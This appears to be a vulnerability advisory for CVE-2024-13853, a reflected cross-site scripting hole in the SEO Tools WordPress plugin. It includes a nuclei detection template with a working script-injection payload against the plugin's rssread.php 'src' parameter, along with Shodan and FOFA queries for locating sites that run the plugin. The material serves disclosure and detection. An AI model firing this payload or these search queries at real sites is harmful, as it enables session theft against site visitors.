WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.

Impact

Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the src parameter, potentially stealing cookies or credentials.

Fix

Update SEO Tools plugin to a version newer than 4.0.7.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "seo-automatic-seo-tools"
Send: GET {{BaseURL}}/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%…
Positive when: contains "\"></script><script>alert(document.domain)</script><script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-13853 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-13853

info:
  name: WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the src parameter, potentially stealing cookies or credentials.
  remediation: |
    Update SEO Tools plugin to a version newer than 4.0.7.
  reference:
    - https://wpscan.com/vulnerability/52991dd9-41f7-4cf8-b8c9-56dd4e62bf0c
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13853
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13853
    cwe-id: CWE-79
    epss-score: 0.00623
    epss-percentile: 0.5021
  metadata:
    max-request: 1
    vendor: WordPress
    product: seo-automatic-seo-tools
    shodan-query: http.html:"seo-automatic-seo-tools"
    fofa-query: body="wp-content/plugins/seo-automatic-seo-tools/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,seo-automatic-seo-tools,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'seo-automatic-seo-tools'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script><script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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